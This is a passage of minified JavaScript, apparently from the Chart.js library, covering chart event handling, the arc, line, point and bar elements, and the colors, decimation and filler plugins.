t=this._listeners,e=this.platform,i=(i,s)=>{e.addEventListener(this,i,s),t[i]=s},s=(t,e,i)=>{t.offsetX=e,t.offsetY=i,this._eventHandler(t)};H(this.options.events,(t=>i(t,s)))}bindResponsiveEvents(){this._responsiveListeners||(this._responsiveListeners={});const t=this._responsiveListeners,e=this.platform,i=(i,s)=>{e.addEventListener(this,i,s),t[i]=s},s=(i,s)=>{t[i]&&(e.removeEventListener(this,i,s),delete t[i])},n=(t,e)=>{this.canvas&&this.resize(t,e)};let o;const a=()=>{s("attach",a),this.attached=!0,this.resize(),i("resize",n),i("detach",o)};o=()=>{this.attached=!1,s("resize",n),this._stop(),this._resize(0,0),i("attach",a)},e.isAttached(this.canvas)?a():o()}unbindEvents(){H(this._listeners,((t,e)=>{this.platform.removeEventListener(this,e,t)})),this._listeners={},H(this._responsiveListeners,((t,e)=>{this.platform.removeEventListener(this,e,t)})),this._responsiveListeners=void 0}updateHoverStyle(t,e,i){const s=i?"set":"remove";let n,o,a,r;for("dataset"===e&&(n=this.getDatasetMeta(t[0].datasetIndex),n.controller["_"+s+"DatasetHoverStyle"]()),a=0,r=t.length;a<r;++a){o=t[a];const e=o&&this.getDatasetMeta(o.datasetIndex).controller;e&&e[s+"HoverStyle"](o.element,o.datasetIndex,o.index)}}getActiveElements(){return this._active||[]}setActiveElements(t){const e=this._active||[],i=t.map((({datasetIndex:t,index:e})=>{const i=this.getDatasetMeta(t);if(!i)throw new Error("No dataset found at index "+t);return{datasetIndex:t,element:i.data[e],index:e}}));!j(i,e)&&(this._active=i,this._lastEvent=null,this._updateHoverStyles(i,e))}notifyPlugins(t,e,i){return this._plugins.notify(this,t,e,i)}isPluginEnabled(t){return 1===this._plugins._cache.filter((e=>e.plugin.id===t)).length}_updateHoverStyles(t,e,i){const s=this.options.hover,n=(t,e)=>t.filter((t=>!e.some((e=>t.datasetIndex===e.datasetIndex&&t.index===e.index)))),o=n(e,t),a=i?t:n(t,e);o.length&&this.updateHoverStyle(o,s.mode,!1),a.length&&s.mode&&this.updateHoverStyle(a,s.mode,!0)}_eventHandler(t,e){const i={event:t,replay:e,cancelable:!0,inChartArea:this.isPointInArea(t)},s=e=>(e.options.events||this.options.events).includes(t.native.type);if(!1===this.notifyPlugins("beforeEvent",i,s))return;const n=this._handleEvent(t,e,i.inChartArea);return i.cancelable=!1,this.notifyPlugins("afterEvent",i,s),(n||i.changed)&&this.render(),this}_handleEvent(t,e,i){const{_active:s=[],options:n}=this,o=e,a=this._getActiveElements(t,s,i,o),r=function(t){return"mouseup"===t.type||"click"===t.type||"contextmenu"===t.type}(t),l=function(t,e,i,s){return i&&"mouseout"!==t.type?s?e:t:null}(t,this._lastEvent,i,r);i&&(this._lastEvent=null,N(n.onHover,[t,a,this],this),r&&N(n.onClick,[t,a,this],this));const h=!j(a,s);return(h||e)&&(this._active=a,this._updateHoverStyles(a,s,e)),this._lastEvent=l,h}_getActiveElements(t,e,i,s){if("mouseout"===t.type)return[];if(!i)return e;const n=this.options.hover;return this.getElementsAtEventForMode(t,n.mode,n,s)}}function kn(){return H(wn.instances,(t=>t._plugins.invalidate()))}function Sn(t,e,i,s){return{x:i+t*Math.cos(e),y:s+t*Math.sin(e)}}function Pn(t,e,i,s,n,o){const{x:a,y:r,startAngle:l,pixelMargin:h,innerRadius:c}=e,d=Math.max(e.outerRadius+s+i-h,0),u=c>0?c+s+i+h:0;let f=0;const g=n-l;if(s){const t=((c>0?c-s:0)+(d>0?d-s:0))/2;f=(g-(0!==t?g*t/(t+s):g))/2}const p=(g-Math.max(.001,g*d-i/it)/d)/2,m=l+p+f,b=n-p-f,{outerStart:x,outerEnd:_,innerStart:y,innerEnd:v}=function(t,e,i,s){const n=Me(t.options.borderRadius,["outerStart","outerEnd","innerStart","innerEnd"]),o=(i-e)/2,a=Math.min(o,s*e/2),r=t=>{const e=(i-Math.min(o,t))*s/2;return kt(t,0,Math.min(o,e))};return{outerStart:r(n.outerStart),outerEnd:r(n.outerEnd),innerStart:kt(n.innerStart,0,a),innerEnd:kt(n.innerEnd,0,a)}}(e,u,d,b-m),M=d-x,w=d-_,k=m+x/M,S=b-_/w,P=u+y,D=u+v,C=m+y/P,O=b-v/D;if(t.beginPath(),o){const e=(k+S)/2;if(t.arc(a,r,d,k,e),t.arc(a,r,d,e,S),_>0){const e=Sn(w,S,a,r);t.arc(e.x,e.y,_,S,b+rt)}const i=Sn(D,b,a,r);if(t.lineTo(i.x,i.y),v>0){const e=Sn(D,O,a,r);t.arc(e.x,e.y,v,b+rt,O+Math.PI)}const s=(b-v/u+(m+y/u))/2;if(t.arc(a,r,u,b-v/u,s,!0),t.arc(a,r,u,s,m+y/u,!0),y>0){const e=Sn(P,C,a,r);t.arc(e.x,e.y,y,C+Math.PI,m-rt)}const n=Sn(M,m,a,r);if(t.lineTo(n.x,n.y),x>0){const e=Sn(M,k,a,r);t.arc(e.x,e.y,x,m-rt,k)}}else{t.moveTo(a,r);const e=Math.cos(k)*d+a,i=Math.sin(k)*d+r;t.lineTo(e,i);const s=Math.cos(S)*d+a,n=Math.sin(S)*d+r;t.lineTo(s,n)}t.closePath()}class Dn extends Bs{static id="arc";static defaults={borderAlign:"center",borderColor:"#fff",borderJoinStyle:void 0,borderRadius:0,borderWidth:2,offset:0,spacing:0,angle:void 0,circular:!0};static defaultRoutes={backgroundColor:"backgroundColor"};constructor(t){super(),this.options=void 0,this.circumference=void 0,this.startAngle=void 0,this.endAngle=void 0,this.innerRadius=void 0,this.outerRadius=void 0,this.pixelMargin=0,this.fullCircles=0,t&&Object.assign(this,t)}inRange(t,e,i){const s=this.getProps(["x","y"],i),{angle:n,distance:o}=_t(s,{x:t,y:e}),{startAngle:a,endAngle:r,innerRadius:l,outerRadius:h,circumference:c}=this.getProps(["startAngle","endAngle","innerRadius","outerRadius","circumference"],i),d=this.options.spacing/2,u=B(c,r-a)>=st||wt(n,a,r),f=St(o,l+d,h+d);return u&&f}getCenterPoint(t){const{x:e,y:i,startAngle:s,endAngle:n,innerRadius:o,outerRadius:a}=this.getProps(["x","y","startAngle","endAngle","innerRadius","outerRadius"],t),{offset:r,spacing:l}=this.options,h=(s+n)/2,c=(o+a+l+r)/2;return{x:e+Math.cos(h)*c,y:i+Math.sin(h)*c}}tooltipPosition(t){return this.getCenterPoint(t)}draw(t){const{options:e,circumference:i}=this,s=(e.offset||0)/4,n=(e.spacing||0)/2,o=e.circular;if(this.pixelMargin="inner"===e.borderAlign?.33:0,this.fullCircles=i>st?Math.floor(i/st):0,0===i||this.innerRadius<0||this.outerRadius<0)return;t.save();const a=(this.startAngle+this.endAngle)/2;t.translate(Math.cos(a)*s,Math.sin(a)*s);const r=s*(1-Math.sin(Math.min(it,i||0)));t.fillStyle=e.backgroundColor,t.strokeStyle=e.borderColor,function(t,e,i,s,n){const{fullCircles:o,startAngle:a,circumference:r}=e;let l=e.endAngle;if(o){Pn(t,e,i,s,l,n);for(let e=0;e<o;++e)t.fill();isNaN(r)||(l=a+(r%st||st))}Pn(t,e,i,s,l,n),t.fill()}(t,this,r,n,o),function(t,e,i,s,n){const{fullCircles:o,startAngle:a,circumference:r,options:l}=e,{borderWidth:h,borderJoinStyle:c}=l,d="inner"===l.borderAlign;if(!h)return;d?(t.lineWidth=2*h,t.lineJoin=c||"round"):(t.lineWidth=h,t.lineJoin=c||"bevel");let u=e.endAngle;if(o){Pn(t,e,i,s,u,n);for(let e=0;e<o;++e)t.stroke();isNaN(r)||(u=a+(r%st||st))}d&&function(t,e,i){const{startAngle:s,pixelMargin:n,x:o,y:a,outerRadius:r,innerRadius:l}=e;let h=n/r;t.beginPath(),t.arc(o,a,r,s-h,i+h),l>n?(h=n/l,t.arc(o,a,l,i+h,s-h,!0)):t.arc(o,a,n,i+rt,s-rt),t.closePath(),t.clip()}(t,e,u),o||(Pn(t,e,i,s,u,n),t.stroke())}(t,this,r,n,o),t.restore()}}function Cn(t,e,i=e){t.lineCap=B(i.borderCapStyle,e.borderCapStyle),t.setLineDash(B(i.borderDash,e.borderDash)),t.lineDashOffset=B(i.borderDashOffset,e.borderDashOffset),t.lineJoin=B(i.borderJoinStyle,e.borderJoinStyle),t.lineWidth=B(i.borderWidth,e.borderWidth),t.strokeStyle=B(i.borderColor,e.borderColor)}function On(t,e,i){t.lineTo(i.x,i.y)}function An(t,e,i={}){const s=t.length,{start:n=0,end:o=s-1}=i,{start:a,end:r}=e,l=Math.max(n,a),h=Math.min(o,r),c=n<a&&o<a||n>r&&o>r;return{count:s,start:l,loop:e.loop,ilen:h<l&&!c?s+h-l:h-l}}function Tn(t,e,i,s){const{points:n,options:o}=e,{count:a,start:r,loop:l,ilen:h}=An(n,i,s),c=function(t){return t.stepped?ue:t.tension||"monotone"===t.cubicInterpolationMode?fe:On}(o);let d,u,f,{move:g=!0,reverse:p}=s||{};for(d=0;d<=h;++d)u=n[(r+(p?h-d:d))%a],u.skip||(g?(t.moveTo(u.x,u.y),g=!1):c(t,f,u,p,o.stepped),f=u);return l&&(u=n[(r+(p?h:0))%a],c(t,f,u,p,o.stepped)),!!l}function Ln(t,e,i,s){const n=e.points,{count:o,start:a,ilen:r}=An(n,i,s),{move:l=!0,reverse:h}=s||{};let c,d,u,f,g,p,m=0,b=0;const x=t=>(a+(h?r-t:t))%o,_=()=>{f!==g&&(t.lineTo(m,g),t.lineTo(m,f),t.lineTo(m,p))};for(l&&(d=n[x(0)],t.moveTo(d.x,d.y)),c=0;c<=r;++c){if(d=n[x(c)],d.skip)continue;const e=d.x,i=d.y,s=0|e;s===u?(i<f?f=i:i>g&&(g=i),m=(b*m+e)/++b):(_(),t.lineTo(e,i),u=s,b=0,f=g=i),p=i}_()}function En(t){const e=t.options,i=e.borderDash&&e.borderDash.length;return t._decimated||t._loop||e.tension||"monotone"===e.cubicInterpolationMode||e.stepped||i?Tn:Ln}const Rn="function"==typeof Path2D;class In extends Bs{static id="line";static defaults={borderCapStyle:"butt",borderDash:[],borderDashOffset:0,borderJoinStyle:"miter",borderWidth:3,capBezierPoints:!0,cubicInterpolationMode:"default",fill:!1,spanGaps:!1,stepped:!1,tension:0};static defaultRoutes={backgroundColor:"backgroundColor",borderColor:"borderColor"};static descriptors={_scriptable:!0,_indexable:t=>"borderDash"!==t&&"fill"!==t};constructor(t){super(),this.animated=!0,this.options=void 0,this._chart=void 0,this._loop=void 0,this._fullLoop=void 0,this._path=void 0,this._points=void 0,this._segments=void 0,this._decimated=!1,this._pointsUpdated=!1,this._datasetIndex=void 0,t&&Object.assign(this,t)}updateControlPoints(t,e){const i=this.options;if((i.tension||"monotone"===i.cubicInterpolationMode)&&!i.stepped&&!this._pointsUpdated){const s=i.spanGaps?this._loop:this._fullLoop;qe(this._points,i,t,s,e),this._pointsUpdated=!0}}set points(t){this._points=t,delete this._segments,delete this._path,this._pointsUpdated=!1}get points(){return this._points}get segments(){return this._segments||(this._segments=function(t,e){const i=t.points,s=t.options.spanGaps,n=i.length;if(!n)return[];const o=!!t._loop,{start:a,end:r}=function(t,e,i,s){let n=0,o=e-1;if(i&&!s)for(;n<e&&!t[n].skip;)n++;for(;n<e&&t[n].skip;)n++;for(n%=e,i&&(o+=n);o>n&&t[o%e].skip;)o--;return o%=e,{start:n,end:o}}(i,n,o,s);return function(t,e,i,s){return s&&s.setContext&&i?function(t,e,i,s){const n=t._chart.getContext(),o=bi(t.options),{_datasetIndex:a,options:{spanGaps:r}}=t,l=i.length,h=[];let c=o,d=e[0].start,u=d;function f(t,e,s,n){const o=r?-1:1;if(t!==e){for(t+=l;i[t%l].skip;)t-=o;for(;i[e%l].skip;)e+=o;t%l!=e%l&&(h.push({start:t%l,end:e%l,loop:s,style:n}),c=n,d=e%l)}}for(const t of e){d=r?d:t.start;let e,o=i[d%l];for(u=d+1;u<=t.end;u++){const r=i[u%l];e=bi(s.setContext(Ce(n,{type:"segment",p0:o,p1:r,p0DataIndex:(u-1)%l,p1DataIndex:u%l,datasetIndex:a}))),xi(e,c)&&f(d,u-1,t.loop,c),o=r,c=e}d<u-1&&f(d,u-1,t.loop,c)}return h}(t,e,i,s):e}(t,!0===s?[{start:a,end:r,loop:o}]:function(t,e,i,s){const n=t.length,o=[];let a,r=e,l=t[e];for(a=e+1;a<=i;++a){const i=t[a%n];i.skip||i.stop?l.skip||(s=!1,o.push({start:e%n,end:(a-1)%n,loop:s}),e=r=i.stop?a:null):(r=a,l.skip&&(e=a)),l=i}return null!==r&&o.push({start:e%n,end:r%n,loop:s}),o}(i,a,r<a?r+n:r,!!t._fullLoop&&0===a&&r===n-1),i,e)}(this,this.options.segment))}first(){const t=this.segments,e=this.points;return t.length&&e[t[0].start]}last(){const t=this.segments,e=this.points,i=t.length;return i&&e[t[i-1].end]}interpolate(t,e){const i=this.options,s=t[e],n=this.points,o=mi(this,{property:e,start:s,end:s});if(!o.length)return;const a=[],r=function(t){return t.stepped?li:t.tension||"monotone"===t.cubicInterpolationMode?hi:ri}(i);let l,h;for(l=0,h=o.length;l<h;++l){const{start:h,end:c}=o[l],d=n[h],u=n[c];if(d===u){a.push(d);continue}const f=r(d,u,Math.abs((s-d[e])/(u[e]-d[e])),i.stepped);f[e]=t[e],a.push(f)}return 1===a.length?a[0]:a}pathSegment(t,e,i){return En(this)(t,this,e,i)}path(t,e,i){const s=this.segments,n=En(this);let o=this._loop;e=e||0,i=i||this.points.length-e;for(const a of s)o&=n(t,this,a,{start:e,end:e+i-1});return!!o}draw(t,e,i,s){const n=this.options||{};(this.points||[]).length&&n.borderWidth&&(t.save(),function(t,e,i,s){Rn&&!e.options.segment?function(t,e,i,s){let n=e._path;n||(n=e._path=new Path2D,e.path(n,i,s)&&n.closePath()),Cn(t,e.options),t.stroke(n)}(t,e,i,s):function(t,e,i,s){const{segments:n,options:o}=e,a=En(e);for(const r of n)Cn(t,o,r.style),t.beginPath(),a(t,e,r,{start:i,end:i+s-1})&&t.closePath(),t.stroke()}(t,e,i,s)}(t,this,i,s),t.restore()),this.animated&&(this._pointsUpdated=!1,this._path=void 0)}}function zn(t,e,i,s){const n=t.options,{[i]:o}=t.getProps([i],s);return Math.abs(e-o)<n.radius+n.hitRadius}class Fn extends Bs{static id="point";static defaults={borderWidth:1,hitRadius:1,hoverBorderWidth:1,hoverRadius:4,pointStyle:"circle",radius:3,rotation:0};static defaultRoutes={backgroundColor:"backgroundColor",borderColor:"borderColor"};constructor(t){super(),this.options=void 0,this.parsed=void 0,this.skip=void 0,this.stop=void 0,t&&Object.assign(this,t)}inRange(t,e,i){const s=this.options,{x:n,y:o}=this.getProps(["x","y"],i);return Math.pow(t-n,2)+Math.pow(e-o,2)<Math.pow(s.hitRadius+s.radius,2)}inXRange(t,e){return zn(this,t,"x",e)}inYRange(t,e){return zn(this,t,"y",e)}getCenterPoint(t){const{x:e,y:i}=this.getProps(["x","y"],t);return{x:e,y:i}}size(t){let e=(t=t||this.options||{}).radius||0;return e=Math.max(e,e&&t.hoverRadius||0),2*(e+(e&&t.borderWidth||0))}draw(t,e){const i=this.options;this.skip||i.radius<.1||!he(this,e,this.size(i)/2)||(t.strokeStyle=i.borderColor,t.lineWidth=i.borderWidth,t.fillStyle=i.backgroundColor,re(t,i,this.x,this.y))}getRange(){const t=this.options||{};return t.radius+t.hitRadius}}function Vn(t,e){const{x:i,y:s,base:n,width:o,height:a}=t.getProps(["x","y","base","width","height"],e);let r,l,h,c,d;return t.horizontal?(d=a/2,r=Math.min(i,n),l=Math.max(i,n),h=s-d,c=s+d):(d=o/2,r=i-d,l=i+d,h=Math.min(s,n),c=Math.max(s,n)),{left:r,top:h,right:l,bottom:c}}function Bn(t,e,i,s){return t?0:kt(e,i,s)}function Wn(t,e,i,s){const n=null===e,o=null===i,a=t&&!(n&&o)&&Vn(t,s);return a&&(n||St(e,a.left,a.right))&&(o||St(i,a.top,a.bottom))}function Nn(t,e){t.rect(e.x,e.y,e.w,e.h)}function Hn(t,e,i={}){const s=t.x!==i.x?-e:0,n=t.y!==i.y?-e:0,o=(t.x+t.w!==i.x+i.w?e:0)-s,a=(t.y+t.h!==i.y+i.h?e:0)-n;return{x:t.x+s,y:t.y+n,w:t.w+o,h:t.h+a,radius:t.radius}}class jn extends Bs{static id="bar";static defaults={borderSkipped:"start",borderWidth:0,borderRadius:0,inflateAmount:"auto",pointStyle:void 0};static defaultRoutes={backgroundColor:"backgroundColor",borderColor:"borderColor"};constructor(t){super(),this.options=void 0,this.horizontal=void 0,this.base=void 0,this.width=void 0,this.height=void 0,this.inflateAmount=void 0,t&&Object.assign(this,t)}draw(t){const{inflateAmount:e,options:{borderColor:i,backgroundColor:s}}=this,{inner:n,outer:o}=function(t){const e=Vn(t),i=e.right-e.left,s=e.bottom-e.top,n=function(t,e,i){const s=t.options.borderWidth,n=t.borderSkipped,o=we(s);return{t:Bn(n.top,o.top,0,i),r:Bn(n.right,o.right,0,e),b:Bn(n.bottom,o.bottom,0,i),l:Bn(n.left,o.left,0,e)}}(t,i/2,s/2),o=function(t,e,i){const{enableBorderRadius:s}=t.getProps(["enableBorderRadius"]),n=t.options.borderRadius,o=ke(n),a=Math.min(e,i),r=t.borderSkipped,l=s||z(n);return{topLeft:Bn(!l||r.top||r.left,o.topLeft,0,a),topRight:Bn(!l||r.top||r.right,o.topRight,0,a),bottomLeft:Bn(!l||r.bottom||r.left,o.bottomLeft,0,a),bottomRight:Bn(!l||r.bottom||r.right,o.bottomRight,0,a)}}(t,i/2,s/2);return{outer:{x:e.left,y:e.top,w:i,h:s,radius:o},inner:{x:e.left+n.l,y:e.top+n.t,w:i-n.l-n.r,h:s-n.t-n.b,radius:{topLeft:Math.max(0,o.topLeft-Math.max(n.t,n.l)),topRight:Math.max(0,o.topRight-Math.max(n.t,n.r)),bottomLeft:Math.max(0,o.bottomLeft-Math.max(n.b,n.l)),bottomRight:Math.max(0,o.bottomRight-Math.max(n.b,n.r))}}}}(this),a=(r=o.radius).topLeft||r.topRight||r.bottomLeft||r.bottomRight?be:Nn;var r;t.save(),o.w===n.w&&o.h===n.h||(t.beginPath(),a(t,Hn(o,e,n)),t.clip(),a(t,Hn(n,-e,o)),t.fillStyle=i,t.fill("evenodd")),t.beginPath(),a(t,Hn(n,e)),t.fillStyle=s,t.fill(),t.restore()}inRange(t,e,i){return Wn(this,t,e,i)}inXRange(t,e){return Wn(this,t,null,e)}inYRange(t,e){return Wn(this,null,t,e)}getCenterPoint(t){const{x:e,y:i,base:s,horizontal:n}=this.getProps(["x","y","base","horizontal"],t);return{x:n?(e+s)/2:e,y:n?i:(i+s)/2}}getRange(t){return"x"===t?this.width/2:this.height/2}}var $n=Object.freeze({__proto__:null,ArcElement:Dn,LineElement:In,PointElement:Fn,BarElement:jn});const Yn=["rgb(54, 162, 235)","rgb(255, 99, 132)","rgb(255, 159, 64)","rgb(255, 205, 86)","rgb(75, 192, 192)","rgb(153, 102, 255)","rgb(201, 203, 207)"],Un=Yn.map((t=>t.replace("rgb(","rgba(").replace(")",", 0.5)")));function Xn(t){return Yn[t%Yn.length]}function qn(t){return Un[t%Un.length]}function Kn(t){let e;for(e in t)if(t[e].borderColor||t[e].backgroundColor)return!0;return!1}var Gn={id:"colors",defaults:{enabled:!0,forceOverride:!1},beforeLayout(t,e,i){if(!i.enabled)return;const{data:{datasets:s},options:n}=t.config,{elements:o}=n;if(!i.forceOverride&&(Kn(s)||(a=n)&&(a.borderColor||a.backgroundColor)||o&&Kn(o)))return;var a;const r=function(t){let e=0;return(i,s)=>{const n=t.getDatasetMeta(s).controller;n instanceof Xi?e=function(t,e){return t.backgroundColor=t.data.map((()=>Xn(e++))),e}(i,e):n instanceof Ki?e=function(t,e){return t.backgroundColor=t.data.map((()=>qn(e++))),e}(i,e):n&&(e=function(t,e){return t.borderColor=Xn(e),t.backgroundColor=qn(e),++e}(i,e))}}(t);s.forEach(r)}};function Zn(t){if(t._decimated){const e=t._data;delete t._decimated,delete t._data,Object.defineProperty(t,"data",{configurable:!0,enumerable:!0,writable:!0,value:e})}}function Jn(t){t.data.datasets.forEach((t=>{Zn(t)}))}var Qn={id:"decimation",defaults:{algorithm:"min-max",enabled:!1},beforeElementsUpdate:(t,e,i)=>{if(!i.enabled)return void Jn(t);const s=t.width;t.data.datasets.forEach(((e,n)=>{const{_data:o,indexAxis:a}=e,r=t.getDatasetMeta(n),l=o||e.data;if("y"===De([a,t.options.indexAxis]))return;if(!r.controller.supportsDecimation)return;const h=t.scales[r.xAxisID];if("linear"!==h.type&&"time"!==h.type)return;if(t.options.parsing)return;let c,{start:d,count:u}=function(t,e){const i=e.length;let s,n=0;const{iScale:o}=t,{min:a,max:r,minDefined:l,maxDefined:h}=o.getUserBounds();return l&&(n=kt(Dt(e,o.axis,a).lo,0,i-1)),s=h?kt(Dt(e,o.axis,r).hi+1,n,i)-n:i-n,{start:n,count:s}}(r,l);if(u<=(i.threshold||4*s))Zn(e);else{switch(R(o)&&(e._data=l,delete e.data,Object.defineProperty(e,"data",{configurable:!0,enumerable:!0,get:function(){return this._decimated},set:function(t){this._data=t}})),i.algorithm){case"lttb":c=function(t,e,i,s,n){const o=n.samples||s;if(o>=i)return t.slice(e,e+i);const a=[],r=(i-2)/(o-2);let l=0;const h=e+i-1;let c,d,u,f,g,p=e;for(a[l++]=t[p],c=0;c<o-2;c++){let s,n=0,o=0;const h=Math.floor((c+1)*r)+1+e,m=Math.min(Math.floor((c+2)*r)+1,i)+e,b=m-h;for(s=h;s<m;s++)n+=t[s].x,o+=t[s].y;n/=b,o/=b;const x=Math.floor(c*r)+1+e,_=Math.min(Math.floor((c+1)*r)+1,i)+e,{x:y,y:v}=t[p];for(u=f=-1,s=x;s<_;s++)f=.5*Math.abs((y-n)*(t[s].y-v)-(y-t[s].x)*(o-v)),f>u&&(u=f,d=t[s],g=s);a[l++]=d,p=g}return a[l++]=t[h],a}(l,d,u,s,i);break;case"min-max":c=function(t,e,i,s){let n,o,a,r,l,h,c,d,u,f,g=0,p=0;const m=[],b=e+i-1,x=t[e].x,_=t[b].x-x;for(n=e;n<e+i;++n){o=t[n],a=(o.x-x)/_*s,r=o.y;const e=0|a;if(e===l)r<u?(u=r,h=n):r>f&&(f=r,c=n),g=(p*g+o.x)/++p;else{const i=n-1;if(!R(h)&&!R(c)){const e=Math.min(h,c),s=Math.max(h,c);e!==d&&e!==i&&m.push({...t[e],x:g}),s!==d&&s!==i&&m.push({...t[s],x:g})}n>0&&i!==d&&m.push(t[i]),m.push(o),l=e,p=0,u=f=r,h=c=d=n}}return m}(l,d,u,s);break;default:throw new Error(`Unsupported decimation algorithm '${i.algorithm}'`)}e._decimated=c}}))},destroy(t){Jn(t)}};function to(t,e,i,s){if(s)return;let n=e[t],o=i[t];return"angle"===t&&(n=Mt(n),o=Mt(o)),{property:t,start:n,end:o}}function eo(t,e,i){for(;e>t;e--){const t=i[e];if(!isNaN(t.x)&&!isNaN(t.y))break}return e}function io(t,e,i,s){return t&&e?s(t[i],e[i]):t?t[i]:e?e[i]:0}function so(t,e){let i=[],s=!1;return I(t)?(s=!0,i=t):i=function(t,e){const{x:i=null,y:s=null}=t||{},n=e.points,o=[];return e.segments.forEach((({start:t,end:e})=>{e=eo(t,e,n);const a=n[t],r=n[e];null!==s?(o.push({x:a.x,y:s}),o.push({x:r.x,y:s})):null!==i&&(o.push({x:i,y:a.y}),o.push({x:i,y:r.y}))})),o}(t,e),i.length?new In({points:i,options:{tension:0},_loop:s,_fullLoop:s}):null}function no(t){return t&&!1!==t.fill}function oo(t,e,i){let s=t[e].fill;const n=[e];let o;if(!i)return s;for(;!1!==s&&-1===n.indexOf(s);){if(!F(s))return s;if(o=t[s],!o)return!1;if(o.visible)return s;n.push(s),s=o.fill}return!1}function ao(t,e,i){const s=function(t){const e=t.options,i=e.fill;let s=B(i&&i.target,i);return void 0===s&&(s=!!e.backgroundColor),!1!==s&&null!==s&&(!0===s?"origin":s)}(t);if(z(s))return!isNaN(s.value)&&s;let n=parseFloat(s);return F(n)&&Math.floor(n)===n?function(t,e,i,s){return"-"!==t&&"+"!==t||(i=e+i),!(i===e||i<0||i>=s)&&i}(s[0],e,n,i):["origin","start","end","stack","shape"].indexOf(s)>=0&&s}function ro(t,e,i){const s=[];for(let n=0;n<i.length;n++){const o=i[n],{first:a,last:r,point:l}=lo(o,e,"x");if(!(!l||a&&r))if(a)s.unshift(l);else if(t.push(l),!r)break}t.push(...s)}function lo(t,e,i){const s=t.interpolate(e,i);if(!s)return{};const n=s[i],o=t.segments,a=t.points;let r=!1,l=!1;for(let t=0;t<o.length;t++){const e=o[t],s=a[e.start][i],h=a[e.end][i];if(St(n,s,h)){r=n===s,l=n===h;break}}return{first:r,last:l,point:s}}class ho{constructor(t){this.x=t.x,this.y=t.y,this.radius=t.radius}pathSegment(t,e,i){const{x:s,y:n,radius:o}=this;return e=e||{start:0,end:st},t.arc(s,n,o,e.end,e.start,!0),!i.bounds}interpolate(t){const{x:e,y:i,radius:s}=this,n=t.angle;return{x:e+Math.cos(n)*s,y:i+Math.sin(n)*s,angle:n}}}function co(t,e,i){const s=function(t){const{chart:e,fill:i,line:s}=t;if(F(i))return function(t,e){const i=t.getDatasetMeta(e);return i&&t.isDatasetVisible(e)?i.dataset:null}(e,i);if("stack"===i)return function(t){const{scale:e,index:i,line:s}=t,n=[],o=s.segments,a=s.points,r=function(t,e){const i=[],s=t.getMatchingVisibleMetas("line");for(let t=0;t<s.length;t++){const n=s[t];if(n.index===e)break;n.hidden||i.unshift(n.dataset)}return i}(e,i);r.push(so({x:null,y:e.bottom},s));for(let t=0;t<o.length;t++){const e=o[t];for(let t=e.start;t<=e.end;t++)ro(n,a[t],r)}return new In({points:n,options:{}})}(t);if("shape"===i)return!0;const n=function(t){return(t.scale||{}).getPointPositionForValue?function(t){const{scale:e,fill:i}=t,s=e.options,n=e.getLabels().length,o=s.reverse?e.max:e.min,a=function(t,e,i){let s;return s="start"===t?i:"end"===t?e.options.reverse?e.min:e.max:z(t)?t.value:e.getBaseValue(),s}(i,e,o),r=[];if(s.grid.circular){const t=e.getPointPositionForValue(0,o);return new ho({x:t.x,y:t.y,radius:e.getDistanceFromCenterForValue(a)})}for(let t=0;t<n;++t)r.push(e.getPointPositionForValue(t,a));return r}(t):function(t){const{scale:e={},fill:i}=t,s=function(t,e){let i=null;return"start"===t?i=e.bottom:"end"===t?i=e.top:z(t)?i=e.getPixelForValue(t.value):e.getBasePixel&&(i=e.getBasePixel()),i}(i,e);if(F(s)){const t=e.isHorizontal();return{x:t?s:null,y:t?null:s}}return null}(t)}(t);return n instanceof ho?n:so(n,s)}(e),{line:n,scale:o,axis:a}=e,r=n.options,l=r.fill,h=r.backgroundColor,{above:c=h,below:d=h}=l||{};s&&n.points.length&&(ce(t,i),function(t,e){const{line:i,target:s,above:n,below:o,area:a,scale:r}=e,l=i._loop?"angle":e.axis;t.save(),"x"===l&&o!==n&&(uo(t,s,a.top),fo(t,{line:i,target:s,color:n,scale:r,property:l}),t.restore(),t.save(),uo(t,s,a.bottom)),fo(t,{line:i,target:s,color:o,scale:r,property:l}),t.restore()}(t,{line:n,target:s,above:c,below:d,area:i,scale:o,axis:a}),de(t))}function uo(t,e,i){const{segments:s,points:n}=e;let o=!0,a=!1;t.beginPath();for(const r of s){const{start:s,end:l}=r,h=n[s],c=n[eo(s,l,n)];o?(t.moveTo(h.x,h.y),o=!1):(t.lineTo(h.x,i),t.lineTo(h.x,h.y)),a=!!e.pathSegment(t,r,{move:a}),a?t.closePath():t.lineTo(c.x,i)}t.lineTo(e.first().x,i),t.closePath(),t.clip()}function fo(t,e){const{line:i,target:s,property:n,color:o,scale:a}=e,r=function(t,e,i){const s=t.segments,n=t.points,o=e.points,a=[];for(const t of s){let{start:s,end:r}=t;r=eo(s,r,n);const l=to(i,n[s],n[r],t.loop);if(!e.segments){a.push({source:t,target:l,start:n[s],end:n[r]});continue}const h=mi(e,l);for(const e of h){const s=to(i,o[e.start],o[e.end],e.loop),r=pi(t,n,s);for(const t of r)a.push({source:t,target:e,start:{[i]:io(l,s,"start",Math.max)},end:{[i]:io(l,s,"end",Math.min)}})}}return a}(i,s,n);for(const{source:e,target:l,start:h,end:c}of r){const{style:{backgroundColor:r=o}={}}=e,d=!0!==s;t.save(),t.fillStyle=r,go(t,a,d&&to(n,h,c)),t.beginPath();const u=!!i.pathSegment(t,e);let f;if(d){u?t.closePath():po(t,s,c,n);const e=!!s.pathSegment(t,l,{move:u,reverse:!0});f=u&&e,f||po(t,s,h,n)}t.closePath(),t.fill(f?"evenodd":"nonzero"),t.restore()}}function go(t,e,i){const{top:s,bottom:n}=e.chart.chartArea,{property:o,start:a,end:r}=i||{};"x"===o&&(t.beginPath(),t.rect(a,s,r-a,n-s),t.clip())}function po(t,e,i,s){const n=e.interpolate(i,s);n&&t.lineTo(n.x,n.y)}var mo={id:"filler",afterDatasetsUpdate(t,e,i){const s=(t.data.datasets||[]).length,n=[];let o,a,r,l;for(a=0;a<s;++a)o=t.getDatasetMeta(a),r=o.dataset,l=null,r&&r.options&&r instanceof In&&(l={visible:t.isDatasetVisible(a),index:a,fill:ao(r,a,s),chart:t,axis:o.controller.options.indexAxis,scale:o.vScale,line:r}),o.$filler=l,n.push(l);for(a=0;a<s;++a)l=n[a],l&&!1!==l.fill&&(l.fill=oo(n,a,i.propagate))},beforeDraw(t,e,i){const s="beforeDraw"===i.drawTime,n=t.getSortedVisibleDatasetMetas(),o=t.chartArea;for(let e=n.length-1;e>=0;--e){const i=n[e].$filler;i&&(i.line.updateControlPoints(o,i.axis),s&&i.fill&&co(t.ctx,i,o))}},beforeDatasetsDraw(t,e,i){if("beforeDatasetsDraw"!==i.drawTime)return;const 